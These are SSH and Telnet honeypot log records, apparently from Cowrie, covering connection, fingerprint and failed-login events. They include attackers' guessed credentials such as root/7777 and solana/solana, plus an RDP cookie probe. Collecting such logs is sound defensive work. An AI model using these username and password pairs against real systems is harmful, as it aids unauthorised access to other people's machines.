{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:57.063869Z","src_ip":"147.45.197.250","session":"c53366fddcba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777","message":"login attempt [root/7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:57.334629Z","src_ip":"147.45.197.250","session":"c53366fddcba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:08:58.427974Z","src_ip":"147.45.197.250","session":"c53366fddcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40776,"dst_ip":"10.17.0.5","dst_port":22,"session":"de491c814aec","protocol":"ssh","message":"New connection: 80.94.92.184:40776 (10.17.0.5:22) [session: de491c814aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:10.520393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:10.829817Z","src_ip":"80.94.92.184","session":"de491c814aec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:10.834324Z","src_ip":"80.94.92.184","session":"de491c814aec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"banx","message":"login attempt [solv/banx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:12.107447Z","src_ip":"80.94.92.184","session":"de491c814aec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:13.334540Z","src_ip":"80.94.92.184","session":"de491c814aec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":55968,"dst_ip":"10.17.0.5","dst_port":22,"session":"64d64d7114fb","protocol":"ssh","message":"New connection: 43.128.102.61:55968 (10.17.0.5:22) [session: 64d64d7114fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:20.801973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:20.807220Z","src_ip":"43.128.102.61","session":"64d64d7114fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:21.037691Z","src_ip":"43.128.102.61","session":"64d64d7114fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello@1234","message":"login attempt [root/Hello@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:21.990823Z","src_ip":"43.128.102.61","session":"64d64d7114fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:23.223995Z","src_ip":"43.128.102.61","session":"64d64d7114fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":56798,"dst_ip":"159.203.135.109","dst_port":22,"session":"f046a56a2794","protocol":"ssh","message":"New connection: 152.42.212.128:56798 (159.203.135.109:22) [session: f046a56a2794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:48.551554Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:48.556736Z","src_ip":"152.42.212.128","session":"f046a56a2794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:48.560678Z","src_ip":"152.42.212.128","session":"f046a56a2794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":36694,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e121f64ed6","protocol":"ssh","message":"New connection: 62.133.62.83:36694 (10.17.0.5:22) [session: d2e121f64ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:54.916775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:54.923282Z","src_ip":"62.133.62.83","session":"d2e121f64ed6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:55.004436Z","src_ip":"62.133.62.83","session":"d2e121f64ed6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"65432","message":"login attempt [root/65432] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:55.243314Z","src_ip":"62.133.62.83","session":"d2e121f64ed6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:09:56.325514Z","src_ip":"62.133.62.83","session":"d2e121f64ed6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":45340,"dst_ip":"10.17.0.5","dst_port":22,"session":"3183ff37fb6d","protocol":"ssh","message":"New connection: 181.188.176.245:45340 (10.17.0.5:22) [session: 3183ff37fb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:18.228635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:18.233737Z","src_ip":"181.188.176.245","session":"3183ff37fb6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:18.559856Z","src_ip":"181.188.176.245","session":"3183ff37fb6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd.123456","message":"login attempt [root/Dd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:19.215956Z","src_ip":"181.188.176.245","session":"3183ff37fb6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34044,"dst_ip":"10.17.0.5","dst_port":22,"session":"051dfa99f338","protocol":"ssh","message":"New connection: 2.57.122.238:34044 (10.17.0.5:22) [session: 051dfa99f338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:20.168411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:20.173746Z","src_ip":"2.57.122.238","session":"051dfa99f338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:20.275483Z","src_ip":"2.57.122.238","session":"051dfa99f338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:20.392524Z","src_ip":"181.188.176.245","session":"3183ff37fb6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:20.577340Z","src_ip":"2.57.122.238","session":"051dfa99f338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:21.680952Z","src_ip":"2.57.122.238","session":"051dfa99f338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.20.86","src_port":33776,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0c3bda7024","protocol":"telnet","message":"New connection: 104.248.20.86:33776 (10.17.0.5:23) [session: 6d0c3bda7024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:31.884037Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.243.46.222","src_port":61664,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1c3c3327031","protocol":"ssh","message":"New connection: 104.243.46.222:61664 (10.17.0.5:22) [session: d1c3c3327031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.070203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.075732Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.123272Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:e8:56:e3:96:8b:07:35:d3:15:6d:6d:23:c7:25:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo1ZGf7klcuQJk0aBndpkuUY4zJY9neHRDH1SS4pR4D4AZ+MdAonFm3pJXGIgHrhs91tdKvbIQ5lxWa/o0L9zwzEJ8KXNvIs3Vj/akgoP0khq1luWoTH2FaPObk59+L85FnqLwsV2ZWFaQdle23R+rAjs9OsMjhKMlAWgzPe3BWcPYkgMIjMM77V4AsK0dp4Ig6Da8sACNcfMfnEB7nZ9+6V1am8rrIlFC/fS8aC9Q7QBVDaqmaiBaOTbnJjwMOpMVd+blJu5yleznFtQ4mZ/xzktL8APm9rn516cSq0Gxrjdh7UFwvDhurZ0pqoc/R7gSbZVgY1Q4LWQw1kjyeRD9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:e8:56:e3:96:8b:07:35:d3:15:6d:6d:23:c7:25:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.289528Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:e8:56:e3:96:8b:07:35:d3:15:6d:6d:23:c7:25:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCo1ZGf7klcuQJk0aBndpkuUY4zJY9neHRDH1SS4pR4D4AZ+MdAonFm3pJXGIgHrhs91tdKvbIQ5lxWa/o0L9zwzEJ8KXNvIs3Vj/akgoP0khq1luWoTH2FaPObk59+L85FnqLwsV2ZWFaQdle23R+rAjs9OsMjhKMlAWgzPe3BWcPYkgMIjMM77V4AsK0dp4Ig6Da8sACNcfMfnEB7nZ9+6V1am8rrIlFC/fS8aC9Q7QBVDaqmaiBaOTbnJjwMOpMVd+blJu5yleznFtQ4mZ/xzktL8APm9rn516cSq0Gxrjdh7UFwvDhurZ0pqoc/R7gSbZVgY1Q4LWQw1kjyeRD9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.292897Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:a3:f8:f9:2b:3d:ef:00:d8:2f:e5:13:73:b6:3f:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCLO86+MDiPa+SxPm11dvUCbQZ4InZ/wexncJaA+R0r2FG4rm1Jymm8y2jJMGxqR6j/Pl+mNKAFcOwJNCLiD6q2yg1JD4SqF+E9lMNLoBu0BI1RqdagbCoEAlEokcE67vHNDaUcGSS0S+YsszQaaiHRDX9ETEJlJKm/Iqc8lYbkE3QtzaMdfHWisr44pTXVIkdH6QSOMs0D7NPmoXG4tA1PeCd4MQw/6xZVNLXcfGjvlZ977Jk3MPUuXEpC3PRklhGJoyJxQC6djuhBda6KEqJRB5UUh/R7m4V1UhubcFzRQ/QFndejG0Y5clhhXfz68NCqXsG6BJsg8VmhjFBDceN5R6MV0A6xX+Zmfww2bS4/BABorYcmLrCxzjLWE/D3aonO5P79pD0TQWbhKkrGFqhQ1w0HReROh9eLEKHhkyWC+n2xZA0t7KWriYxZwonU6OqyHeAUkfYKlBsc7kR1QO8f65qPXcDh4e3xXQDdMQ3HO+fnv92daSQMa5eQjjJwFNoq0iEkuzTsVDD6jQ9anI7u9aTIE5gZHbejdGPCPvmD1BlG+eTPAidWluW+2wPu6SYSYMTlgevGNSg5len0VbcHYEv2zO5tzerThVysjuhiTwA6asUSIUTLByXmP3s/ETdvl6UHLVf/DkMnSRJdotGQljLzLAW04F8ldBNMirN4Ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:a3:f8:f9:2b:3d:ef:00:d8:2f:e5:13:73:b6:3f:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:10:34.330300Z","src_ip":"104.243.46.222","session":"d1c3c3327031","protocol":"ssh"}
